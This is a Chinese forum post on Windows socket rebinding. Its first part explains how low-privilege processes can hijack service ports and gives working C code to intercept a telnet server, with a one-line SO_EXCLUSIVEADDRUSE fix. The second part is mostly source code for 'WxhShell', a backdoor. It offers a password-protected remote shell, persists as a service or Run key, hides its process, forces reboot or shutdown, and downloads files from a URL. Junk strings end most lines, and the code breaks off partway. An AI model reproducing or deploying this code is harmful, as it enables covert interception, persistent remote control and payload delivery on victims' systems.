社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14798阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: mN7&%Z  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ec`>KuY  
%8g$T6E[<2  
  saddr.sin_family = AF_INET; <M`-`v6H  
%y3:SUOdx  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 5GUH;o1m  
,^M]yr*~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {!g?d<*  
0vcET(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 MXh^dOWR  
R$ v i!0  
  这意味着什么?意味着可以进行如下的攻击: lW&[mnR  
vFR 1UPF  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 h FDze  
"{mt?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) cyDiA(ot&  
G@;Nz i89  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *j/ uihY  
Mn-<51.%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .!!79 6hS  
-Zttj/K  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 d!w1t=2H  
kA1f[ AL  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +|)zwe  
![qRoYpbg8  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 m]E o(P4+  
@ 8A{ 9i  
  #include ry z /rf  
  #include }FuVY><l  
  #include d5N)^\z  
  #include    |>M-+@g j  
  DWORD WINAPI ClientThread(LPVOID lpParam);   qT 5Wa O)  
  int main() ;>cLbjD  
  { "[FCQ  
  WORD wVersionRequested; U$MWsDn   
  DWORD ret; 27}.s0{D  
  WSADATA wsaData; M|$H+e } :  
  BOOL val; F%w\D9+P  
  SOCKADDR_IN saddr; ,P;8 }yQ  
  SOCKADDR_IN scaddr; B/kcb(5v  
  int err; hB?U5J  
  SOCKET s; K'>P!R:El  
  SOCKET sc; PEMxoe<+  
  int caddsize; +#&el//  
  HANDLE mt; ?*B;514  
  DWORD tid;   6nM rO$i0k  
  wVersionRequested = MAKEWORD( 2, 2 ); wY."Lw> 6  
  err = WSAStartup( wVersionRequested, &wsaData ); H&"_}  
  if ( err != 0 ) { E&}H\zt#  
  printf("error!WSAStartup failed!\n"); 1c1e+H  
  return -1; Y}eZPG.h  
  } BA`kxL/x  
  saddr.sin_family = AF_INET; q8&4=eV\A  
   s|Imz<IE  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Lh8# I&x  
~hxeD" w  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0j-F6a*p'1  
  saddr.sin_port = htons(23); ylo]`Nq  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s>[vT?  
  { ~:'gvR;x  
  printf("error!socket failed!\n"); %3#b6m~  
  return -1; 0TuNA\Ug+  
  } LIm$Wl1U  
  val = TRUE;  mP`,I"u  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %'K+$  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) gK]T}  
  { [kU[}FT  
  printf("error!setsockopt failed!\n"); 3R Y|l?n>  
  return -1; AZBY, :>D  
  } q[We][Nrzb  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; dNS9<8JX  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 OP\^c  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ul]m>W  
Z=1,<ydKV  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @Reh?]# v  
  { }J4BxBuV8  
  ret=GetLastError(); x&6i@Jl  
  printf("error!bind failed!\n"); "X!_37kQ  
  return -1; AH ?MJKY@Z  
  } b W`)CWd  
  listen(s,2); ) 2*|WHO  
  while(1) Xj(k(>7V  
  { +L<w."WG  
  caddsize = sizeof(scaddr); y D=)&->Ra  
  //接受连接请求 ! Dhfr{  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); bx'B;rZr  
  if(sc!=INVALID_SOCKET) +q>C}9s3  
  { `cy"-CJS  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ! a8h  
  if(mt==NULL) hKH Q!`&v  
  { !'UsC6Y4  
  printf("Thread Creat Failed!\n"); aO;Q%]VL'  
  break; r>D[5B  
  } CH|g   
  } o2t@-dNi  
  CloseHandle(mt); zv3<i (  
  } kA->xjk  
  closesocket(s); #0$eTdx#  
  WSACleanup(); '@1Qx~*]e  
  return 0; 8Gzs  
  }   K <fq=:I3  
  DWORD WINAPI ClientThread(LPVOID lpParam) ,L;c{[*rh  
  { N'W >pU  
  SOCKET ss = (SOCKET)lpParam; Ij,?G*  
  SOCKET sc; 9dhFQWz"  
  unsigned char buf[4096]; YfYL?G  
  SOCKADDR_IN saddr; u8)r W  
  long num; ;z=C^'  
  DWORD val; ^SelqX  
  DWORD ret; 6!Ap;O^*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 d+wNGN  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   R;I-IZS:  
  saddr.sin_family = AF_INET; $DMu~wwfG  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); _jI)!rfb  
  saddr.sin_port = htons(23); >0G}, S  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $y |6<  
  { s(DaPhL6Qm  
  printf("error!socket failed!\n"); _J$p <  
  return -1; 8`R}L  
  } `J;/=tf09  
  val = 100; Zm'::+ tl  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wBaFC\CW  
  { d3q/mg5a  
  ret = GetLastError(); 4pHPf<6  
  return -1; k?*DBXJv  
  } =u1w\>(2Y  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,)\5O0 D6  
  { 1x5CsmS  
  ret = GetLastError(); L.~]qs|G/K  
  return -1; ^i,0n}>  
  } F[qI fh4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7'l{I'Z  
  { x#xO {  
  printf("error!socket connect failed!\n"); ?p\II7   
  closesocket(sc); 7m)ykq:?  
  closesocket(ss); 7=[O6<+o  
  return -1; J!gWRw5  
  } -O q=J;  
  while(1) 29E@e]Y,`  
  { o\Vt $  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 p[+me o  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 LFry?HO,D  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Rhxm)5+  
  num = recv(ss,buf,4096,0); loVvr"&g  
  if(num>0) XzwQ,+IAr  
  send(sc,buf,num,0); Zvw3C%In  
  else if(num==0) 9MlfZsby  
  break; \7?MUa.4  
  num = recv(sc,buf,4096,0); AZ@Zo'  
  if(num>0) Bwvc@(3v  
  send(ss,buf,num,0); [Z&s0f1Qb  
  else if(num==0) |gxB; GG  
  break; kj"_Y"q=  
  } WX$^[^=HC  
  closesocket(ss); 544I#!  
  closesocket(sc); u+T, n  
  return 0 ; SCC/ <o  
  } $ }bC$?^  
_|#|mb4Fe  
\.-y LS.  
========================================================== FbT&w4Um=  
].+G-<.:  
下边附上一个代码,,WXhSHELL F n Rxc  
dD2e"OIX  
========================================================== zEL[%(fnc  
+4vX+;: br  
#include "stdafx.h" &(1NOyX&  
tQ<2K*3]  
#include <stdio.h> Ji?UG@  
#include <string.h> 4o8HEq!  
#include <windows.h> M L_J<|,J  
#include <winsock2.h> ;SP3nU))  
#include <winsvc.h> 8o!^ZOmU<  
#include <urlmon.h> d-2I_ )9  
:fQ*'m,  
#pragma comment (lib, "Ws2_32.lib") ~./u0E  
#pragma comment (lib, "urlmon.lib") I z@x^s  
FnU;n  
#define MAX_USER   100 // 最大客户端连接数 nff]Y$FB  
#define BUF_SOCK   200 // sock buffer q\=[v  
#define KEY_BUFF   255 // 输入 buffer 5~6y.S  
9Qd'=JQl  
#define REBOOT     0   // 重启 *qOCo_=P8  
#define SHUTDOWN   1   // 关机 ;a77YL TQ  
&3/H P)*<]  
#define DEF_PORT   5000 // 监听端口 YLd%"H $n  
`I<|*vW u  
#define REG_LEN     16   // 注册表键长度 #FM 'S|  
#define SVC_LEN     80   // NT服务名长度 E8 )*HOT_T  
30-w TcG  
// 从dll定义API _!Q\Xn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -$p-o Z)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a{6|[a R  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); AFA*_9Ut  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); aM1JG$+7G  
cHd39H9  
// wxhshell配置信息 d$ 7 b  
struct WSCFG { )y Y;%  
  int ws_port;         // 监听端口 a"N_zGf2$  
  char ws_passstr[REG_LEN]; // 口令 2UJ0%k  
  int ws_autoins;       // 安装标记, 1=yes 0=no : \`MrI^  
  char ws_regname[REG_LEN]; // 注册表键名 =l_"M  
  char ws_svcname[REG_LEN]; // 服务名 ~1!kU 4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9_dsiM7CT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :CHd\."%+1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lO@Ba;x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M57(,#g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" sbIhg/:ok  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZU6a   
4<HJD&@V  
}; $ {"St&(  
p0@mumh  
// default Wxhshell configuration <6$%Y2  
struct WSCFG wscfg={DEF_PORT, ]<_+uciP5[  
    "xuhuanlingzhe", #bH[UId[  
    1, a}{! %5  
    "Wxhshell", GDntGTE~sk  
    "Wxhshell", Fje%hcV  
            "WxhShell Service", |e(x< [s5  
    "Wrsky Windows CmdShell Service", L0~O6*bk  
    "Please Input Your Password: ", s2kynQ#a  
  1, MeS$+9jV(  
  "http://www.wrsky.com/wxhshell.exe", zvg&o)/[  
  "Wxhshell.exe" {S~$\4vC!  
    }; 34+}u,=  
Fb-TCq1y#  
// 消息定义模块 >iV(8EgBS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IA!Kp g W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; EeJ] > 1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lvffQ_t  
char *msg_ws_ext="\n\rExit."; =Q/i< u  
char *msg_ws_end="\n\rQuit."; exvsf|  
char *msg_ws_boot="\n\rReboot..."; zt6ep=  
char *msg_ws_poff="\n\rShutdown..."; aPgG+tu  
char *msg_ws_down="\n\rSave to "; $Q4b~  
RT9@&5>il  
char *msg_ws_err="\n\rErr!"; ^)I:82"|?  
char *msg_ws_ok="\n\rOK!"; g?sFmD  
p^!p7B`qe.  
char ExeFile[MAX_PATH]; fba3aId[  
int nUser = 0; *4E,| IJ  
HANDLE handles[MAX_USER]; vA`.8U 0S  
int OsIsNt; QkAwG[4  
{5`?0+  
SERVICE_STATUS       serviceStatus; 6R j X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R PQ)0.O7  
 X'<xw  
// 函数声明 ;C%EF  
int Install(void); 1C{n\_hR  
int Uninstall(void); pj6Cvq4bD  
int DownloadFile(char *sURL, SOCKET wsh); M IJ~j><L  
int Boot(int flag); Sq QB>;/p  
void HideProc(void); fZC,%p  
int GetOsVer(void); nm.d.A/]Z  
int Wxhshell(SOCKET wsl); v2Y=vr  
void TalkWithClient(void *cs); ){~.jP=-#  
int CmdShell(SOCKET sock); 1g+<`1=KT  
int StartFromService(void); V}?5=f'  
int StartWxhshell(LPSTR lpCmdLine); DEhA8.v  
CXA8V"@&b/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); hpu(MX\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c#Bde-dh  
m`cG&Ar5  
// 数据结构和表定义 1<UQJw45  
SERVICE_TABLE_ENTRY DispatchTable[] = o6oYJ`PY  
{ P8f-&(  
{wscfg.ws_svcname, NTServiceMain}, mLSAi2Y  
{NULL, NULL} R >TtAm0N  
}; w.\:I[  
o-_ a0j  
// 自我安装 ;d4_l:9p  
int Install(void) ;f\0GsA#  
{ Nx__zC^r  
  char svExeFile[MAX_PATH]; 5ZLH=8L  
  HKEY key; '(}BfDP  
  strcpy(svExeFile,ExeFile); VTU-'q  
Rx.0P6s  
// 如果是win9x系统,修改注册表设为自启动 \kx9V|A'  
if(!OsIsNt) { =v8q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t!tBN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;uy/Vc5,Y  
  RegCloseKey(key); -|5&3HVz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J$o J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ge|}'QKow  
  RegCloseKey(key); 4kiu*T  
  return 0; eJ'ojc3  
    } jiat5  
  } d {4br  
} =z+zg^wsT  
else { OB%y'mo7]  
fi1UUJ0 U;  
// 如果是NT以上系统,安装为系统服务 -c tZ9+LL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); be_t;p`3  
if (schSCManager!=0) 'JydaF~>  
{ !VW#hc \A5  
  SC_HANDLE schService = CreateService ?`xId;}J#7  
  ( Ty m!7H2  
  schSCManager, J7H1<\=cJb  
  wscfg.ws_svcname, ZyG528O22  
  wscfg.ws_svcdisp, wC19  
  SERVICE_ALL_ACCESS, 3c)LBM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _z;N|Xe  
  SERVICE_AUTO_START, @4pN4v8U  
  SERVICE_ERROR_NORMAL, chy7hPxC;  
  svExeFile, )u$A!+fo  
  NULL, N.]8qzW  
  NULL, N^ )OlH  
  NULL, ZHT.+X:_  
  NULL, xAI<<[-  
  NULL <}evOw2  
  ); /T?['#:r-)  
  if (schService!=0) hikun 2  
  { ji "*=i  
  CloseServiceHandle(schService); OP@PB|  
  CloseServiceHandle(schSCManager); _<8n]0lX3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \*7Tj-#  
  strcat(svExeFile,wscfg.ws_svcname); `k+k&t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lH[N*9G(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e>[QF+e)y  
  RegCloseKey(key); %}@^[E)  
  return 0; &\A$Rj)  
    } F[lHG,g-  
  } ?w.Yx$Z"  
  CloseServiceHandle(schSCManager); : v]< h  
} 6i%)'dl  
} _$\T;m>'A  
Ky+TgR  
return 1; D_@^XS  
} b |EZ;,i  
JSM{|HJxh  
// 自我卸载 ^vzNs>eJ  
int Uninstall(void) W!{uEH{%l  
{ &{>~ |^  
  HKEY key; 9T\:ID= h  
SpkD  
if(!OsIsNt) { 9%x[z%06  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \ZA%"F){  
  RegDeleteValue(key,wscfg.ws_regname); pJqayzV  
  RegCloseKey(key); )|:|.`H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (t <Um Vd  
  RegDeleteValue(key,wscfg.ws_regname); >y1/*)O9~  
  RegCloseKey(key); O!a5  
  return 0; bz@4obRqf  
  } ? O.&=im_  
} -" DI,o  
} #JVcl $0Y  
else { *w!H -*`  
yd2ouCUV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8g<3J-7Mm  
if (schSCManager!=0) ^ H'|iju  
{ $Uzc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @r#>-p  
  if (schService!=0) &.d~ M1Mz  
  { aFLm,  
  if(DeleteService(schService)!=0) { )%*uMuF  
  CloseServiceHandle(schService); zITXEorF!J  
  CloseServiceHandle(schSCManager); qh=lF_%uj  
  return 0; )J 0'We  
  } sx6` g;  
  CloseServiceHandle(schService); ='~C$%  
  } ) +{'p0  
  CloseServiceHandle(schSCManager); ~(}zp<e|  
} f F?=W  
} IKpNc+;p  
|[gnWNdR$M  
return 1; TK'(\[E  
} Tmq:,.^}  
T1Xm^{  
// 从指定url下载文件 ~dC^|  
int DownloadFile(char *sURL, SOCKET wsh) <MY_{o8d  
{ QQqWJq~  
  HRESULT hr; i2EB.Zlv  
char seps[]= "/"; c" yf>0  
char *token; >zXw4=J  
char *file; DI+kO(S  
char myURL[MAX_PATH]; -B R&b2  
char myFILE[MAX_PATH]; Ucv-}oa-?  
HZR~r:_ i  
strcpy(myURL,sURL); NX$$4<A1  
  token=strtok(myURL,seps); uRJLSt9m  
  while(token!=NULL) f ^z7K  
  { ]U]{5AA6  
    file=token; gg5`\}  
  token=strtok(NULL,seps); i4AmNRs  
  } C5F}*]E[y  
hb`(d_=7F  
GetCurrentDirectory(MAX_PATH,myFILE); $BCqz! 4K  
strcat(myFILE, "\\"); xEGI'lt  
strcat(myFILE, file); w<5w?nP+Oh  
  send(wsh,myFILE,strlen(myFILE),0); WnA]gyc  
send(wsh,"...",3,0); ^oM*f{9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +b 1lCa_  
  if(hr==S_OK) aM~M@wS  
return 0; <vOljo  
else H+F'K XP*K  
return 1; EY':m_7W  
6M F%$K3  
} tFXG4+$D  
Ot5 $~o  
// 系统电源模块 +\SbrB P  
int Boot(int flag) "h\{PoG  
{ JQ!D8Ut  
  HANDLE hToken; bc%7-%  
  TOKEN_PRIVILEGES tkp; $f_Brc:n {  
Es1Yx\/:  
  if(OsIsNt) { }wz )"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zS]Yd9;X1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L Ktr>u  
    tkp.PrivilegeCount = 1; tvZpm@1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o1 QK@@}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U_Id6J]8  
if(flag==REBOOT) { ` Y"Rh[C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q l ql(*  
  return 0; 's+ Fd~ '  
} H;%a1  
else { }>fL{};Z"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $D1Pk  
  return 0; 0~Z2$`(  
} (WX,&`a<$  
  } lhKd<Y"  
  else { :^%My]>T  
if(flag==REBOOT) { UIIR$,XB  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bo`w( h_  
  return 0; kL{2az3"c  
} &CG3_s<2  
else { ;VNwx(1l`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x/R|i%u-s  
  return 0; A{Jv`K  
} >n{(2bcFs  
} `fj(xrI  
7?dB&m6W  
return 1; $*{PUj  
} *4dA(N\k"  
J+kxb"#d  
// win9x进程隐藏模块 <G/O!02  
void HideProc(void) ; P&K a  
{ K3M<%  
y!h$Z6.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L Lm{:T7  
  if ( hKernel != NULL ) #swzZyM$  
  { [j`It4^nC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZjF$zVk  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~ucOQVmz@  
    FreeLibrary(hKernel); RgZBh04q  
  } &NL=Bd  
pdngM 8n  
return; r*OSEzGUz  
} y9?BvPp+  
o5-oQ_ j  
// 获取操作系统版本 !FX;QD@"  
int GetOsVer(void) -yy&q9  
{ g~S>_~WL  
  OSVERSIONINFO winfo; D: NBb!   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x@;XyQq  
  GetVersionEx(&winfo); m>yk4@a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  S`)KC-  
  return 1; BOQ2;@:3  
  else b54<1\&  
  return 0; ?54=TA|5`F  
} U"v(9m@  
dP=1*  
// 客户端句柄模块 P>+{}c}3I  
int Wxhshell(SOCKET wsl) >2_BL5<S  
{ T2P0(rEz  
  SOCKET wsh; ka0T|$ u(s  
  struct sockaddr_in client; 0m(/hK  
  DWORD myID; ),(ejRP'r  
eu@-v"=w  
  while(nUser<MAX_USER) !h4S`2oZ/  
{ Z,M?!vK  
  int nSize=sizeof(client); cpF\^[D  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j7K9T  
  if(wsh==INVALID_SOCKET) return 1; M`*B/Fh 2  
hPE#l?H@A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ID & Iz  
if(handles[nUser]==0) mT <4@RrB  
  closesocket(wsh); E3<jH  
else s^TF+d?B  
  nUser++; v`A^6)U#M  
  } q(M[ij  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H$>D_WeJ  
@Ck6s  
  return 0; bg[k8*.:F  
} 'Cd8l#z7  
IAf,TKfe  
// 关闭 socket %6j|/|#]  
void CloseIt(SOCKET wsh) ~ ' 81  
{ BG_m}3j  
closesocket(wsh); _iLXs  
nUser--; i[`nu#n/  
ExitThread(0); LzB)o\a  
} ]:(>r&'  
:WIbjI=  
// 客户端请求句柄 f50qA;7k  
void TalkWithClient(void *cs) O&.^67\|  
{ m(,vym t  
0AP wk }  
  SOCKET wsh=(SOCKET)cs; L MC-1  
  char pwd[SVC_LEN]; Dq/[ g,(  
  char cmd[KEY_BUFF]; {";5n7<<)  
char chr[1];  LKieOgX  
int i,j; %H75u 6  
AR\>P  
  while (nUser < MAX_USER) { .'mmn5E  
$)\%i=  
if(wscfg.ws_passstr) { vmK<_xbwd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @ +h2R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K++pH~o  
  //ZeroMemory(pwd,KEY_BUFF); $,otW2:)  
      i=0; t_6sDr'.  
  while(i<SVC_LEN) { 5Al 59]  
^)<>5.%1''  
  // 设置超时 H_sLviYLu  
  fd_set FdRead; ]`0(^)U &  
  struct timeval TimeOut; W Y_}D!O  
  FD_ZERO(&FdRead); XeX0\L')R  
  FD_SET(wsh,&FdRead); I~H:-"2  
  TimeOut.tv_sec=8; pXL_`=3Q  
  TimeOut.tv_usec=0; ; 29q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -BfZ P5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3Wxl7"!x m  
b)9bYkd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wUHuykF  
  pwd=chr[0];  Z+`mla  
  if(chr[0]==0xd || chr[0]==0xa) { S!A)kK+  
  pwd=0; Zy,U'Dv  
  break; A\ds0dUE  
  } !;.i#c_u  
  i++; } R!-*Wk  
    } 8fFURk  
9_V'P]@  
  // 如果是非法用户,关闭 socket ..V6U"/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /1:`?% ,2  
} o)F^0t  
wcUf?`21,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6pDb5@QjTy  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v/=O:SM}  
*X8<hYKZq  
while(1) { PeEf=3  
XFeHkU`C  
  ZeroMemory(cmd,KEY_BUFF); L$6{{Tw"2  
Ar7vEa81  
      // 自动支持客户端 telnet标准   li;Np5P  
  j=0; GV#"2{t j  
  while(j<KEY_BUFF) { (.4mX t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ba& \~_4  
  cmd[j]=chr[0]; J5h;~l!y  
  if(chr[0]==0xa || chr[0]==0xd) { a<7Ui;^@  
  cmd[j]=0; Q4\EI=4P]  
  break; VeeQmR?u-  
  } /{ Lo0  
  j++; W}#eQ|oCV  
    } Eh&*"&fHR  
^M6xRkI  
  // 下载文件 LPX@oha  
  if(strstr(cmd,"http://")) { zC #[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wR +C>  
  if(DownloadFile(cmd,wsh)) *>,8+S33r{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,<s'/8Ik  
  else XcB!9AIO  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1^^<6e  
  } p&~8N#I#  
  else { !4TMgM  
B'"(qzE-kM  
    switch(cmd[0]) { oG~a`9N%C  
  oe`t ? (U  
  // 帮助 |LA@guN  
  case '?': { Z~)Bh~^A  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $}RBK'cr}  
    break; ew -5VL   
  } ':YFm  
  // 安装 ]pr(hk  
  case 'i': { ovJwo r  
    if(Install()) }qU(G3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9nF;$ HB  
    else E-jL"H*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 60p*$Vqy  
    break; '&?cW#J?  
    } W(U:D?e  
  // 卸载 %_Gc9SI  
  case 'r': { :k9n 9  
    if(Uninstall()) sbn|D\p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W&>ONo6ki  
    else kU^*hd ]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }jTCzqHW]  
    break; _Bh-*e2k  
    } ajB4 Lj,:r  
  // 显示 wxhshell 所在路径 &,E^ y,r  
  case 'p': { 06pEA.ro  
    char svExeFile[MAX_PATH]; j6x1JM  
    strcpy(svExeFile,"\n\r"); :f<:>"<  
      strcat(svExeFile,ExeFile); 5WJof`M  
        send(wsh,svExeFile,strlen(svExeFile),0); aVTTpMY  
    break; ZH6#(;b  
    } BPRhGG|9j  
  // 重启 K??(>0Qr}r  
  case 'b': { l0AVyA4RFV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9?M>Y?4  
    if(Boot(REBOOT)) >IZ|:lsxE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e'%"G{(D  
    else { 66RqjP '2  
    closesocket(wsh); ,]CZ(q9-  
    ExitThread(0); %K@s0uQ  
    } k Qm\f  
    break; W>jgsR79M  
